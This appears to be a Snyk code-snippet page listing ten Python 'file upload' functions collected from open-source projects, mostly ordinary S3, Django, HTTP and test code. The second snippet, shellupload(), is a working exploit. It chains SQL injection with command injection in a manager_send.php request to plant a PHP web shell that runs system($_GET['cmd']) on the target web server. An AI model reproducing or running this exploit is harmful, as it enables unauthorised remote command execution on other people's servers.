10 examples of 'file upload in python' in Python

Every line of 'file upload in python' code snippets is scanned for vulnerabilities by our powerful machine learning engine that combs millions of open source libraries, ensuring your Python code is secure.

All examples are scanned by Snyk Code

By copying the Snyk Code Snippets you agree to
this disclaimer
14def upload_file_handler(instance, filename):
15 return os.path.join('formats', str(instance.id), filename)
Important

Use secure code every time

Secure your code as it's written. Use Snyk Code to scan source code in minutes – no build needed – and fix issues immediately. Enable Snyk Code

33def shellupload():
34 command = "echo 'Infogen-AL<br><?php echo system($_GET['cmd']);?>' > /var/www/html/infogen.php"
35 #command = "rm /var/www/html/123.pl;rm /var/www/html/TEST.perl"
36 command = command.replace(" ", "%20")
37 evil = path + '/manager_send.php?enable_sipsak_messages=1&allow_sipsak_messages=1&protocol=sip&ACTION=OriginateVDRelogin&session_name=AAAAAAAAAAAA&server_ip=%27%20OR%20%271%27%20%3D%20%271&extension=%3B' + command + '%3B&user=' + user + '&pass=' + password
38 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
39 s.connect((host,80))
40 evilREQ = 'GET ' + evil + ' HTTP/1.1' + CRLF + 'Host: ' + host + CRLF + 'User-Agent: Infogen-AL' + CRLF + CRLF + CRLF
41 s.send(evilREQ)
42 a = s.recv(1024)
43 if(a.find("HTTP/1.1 200 OK") != -1 and a.find("Invalid") == -1):
44 print '[ + ] Shell uploaded successfully [ + ]\n'
45 print '[ + ] http://' + host + '/infogen.php [ + ]\n'
46 else:
47 print '[ - ] Shell upload failed.... [ - ]'
48 s.close()
141def upload_file(bucket, key, local_file, s3_client):
142 """
143 Uploads a given file to the s3 key in the bucket
144 """
145 import boto3
146 s3_client.upload_file(local_file, bucket, key)
147
148 return
56def upload(self, file_name, file_bytes, file_type, codetype):
57 """
58 upload image file, return cid or None
59 """
60 post_data = {
61 "username": self.user_name,
62 "password": self.pass_word,
63 "codetype": codetype,
64 "appid": self.appid,
65 "appkey": self.appkey,
66 "timeout": 60,
67 "method": "upload",
68 }
69 files = {"file": (file_name, file_bytes, file_type)}
70 try:
71 response = requests.post(self.base_url, data=post_data, headers=self.base_headers, files=files)
72 json_data = response.json()
73 except Exception as excep:
74 json_data = {"ret": -1, "errMsg": excep}
75 logging.warning("YunDaMa upload %s: %s", "succeed" if json_data["ret"] == 0 else "failed", json_data)
76 return json_data.get("cid", "")
16def upload (request):
17 currentPage = "upload"
18 auth = request.user.is_authenticated()
19 if (request.method=="POST"): # If the form has been submitted...
20 filename = request.FILES['file'].name
21 if (filename.endswith('.pdf')): # allow users to only upload pdf files
22 form = uploadfileform(request.POST, request.FILES) # A form bound to the POST data
23 if form.is_valid(): # All validation rules pass
24 data = form.cleaned_data
25 # generate default report title if not specified by user
26 if (data['title'] == ''):
27 data['title'] = "Report for " + filename
28 unid = unicode(uuid.uuid4())
29 filename = unid + ".pdf"
30 filepath = MEDIA_ROOT + "public/"
31 # if user has logged in, save uploaded file to user's folder
32 if auth:
33 filepath = request.user.get_profile().filepath
34 fileObj = UserFile(uid = unid, owner = request.user.username, title = data['title'], notes = data['notes'])
35 fileObj.file.save(filename, ContentFile(request.FILES['file'].read()))
36 fileObj.save()
37 process_file(filename, filepath) # call function to run evaluator on uploaded file
38 if auth:
39 user = request.user.get_profile()
40 user.filecount = user.filecount + 1
41 user.save()
42 return HttpResponseRedirect('/accounts/profile/managereports/')
43 else:
44 return render_to_response("upload/processing.html", {"uid": fileObj.uid})
45 else:
46 message = "Not a PDF file"
47 form = uploadfileform()
48 return render_to_response("upload/fileupload.htm", locals(), context_instance=RequestContext(request))
27def s3_upload(self, _file):
28 # Upload the File
29 sml = self.boto.new_key(_file.filepath)
30 sml.set_contents_from_string(_file.source_file.read())
70async def upload_file(self, language, contents):
71 payload = json.dumps({
72 "language": language,
73 "snip": contents,
74 })
75
76 async with self.client.session.post(self.upload_url, data=payload) as response:
77 if response.status == 200:
78 response = await response.json()
79 return 'https://emkc.org' + response['url']
80 else:
81 # Woops, something went wrong when sending
82 return False
338def uploadfn(path, content):
339 with self.get_connection() as conn:
340 content = compression.compress(content, method=compress, compress_level=compress_level)
341 conn.put_file(
342 file_path=path,
343 content=content,
344 content_type=content_type,
345 compress=compress,
346 cache_control=cache_control,
347 )
9def upload_file(raw_file, paste_object):
10 viper_ip = conf["sandboxes"]["viper"]["api_host"]
11 viper_port = conf["sandboxes"]["viper"]["api_port"]
12 viper_host = 'http://{0}:{1}'.format(viper_ip, viper_port)
13
14 submit_file_url = '{0}/tasks/create/file'.format(viper_host)
15 files = {'file': ('{0}.exe'.format(paste_object["pasteid"]), io.BytesIO(raw_file))}
16 submit_file = requests.post(submit_file_url, files=files).json()
17
18 # Send any updated json back
19 return paste_object
59@mock.patch('os.path.isfile', mock.Mock())
60@mock.patch('os.path.getsize', mock.Mock())
61@mock.patch('redminelib.open', mock.mock_open(), create=True)
62def test_successful_file_upload(self):
63 self.response.status_code = 201
64 self.response.json.return_value = {'upload': {'id': 1, 'token': '123456'}}
65 self.assertEqual(self.redmine.upload('foo')['token'], '123456')

Related snippets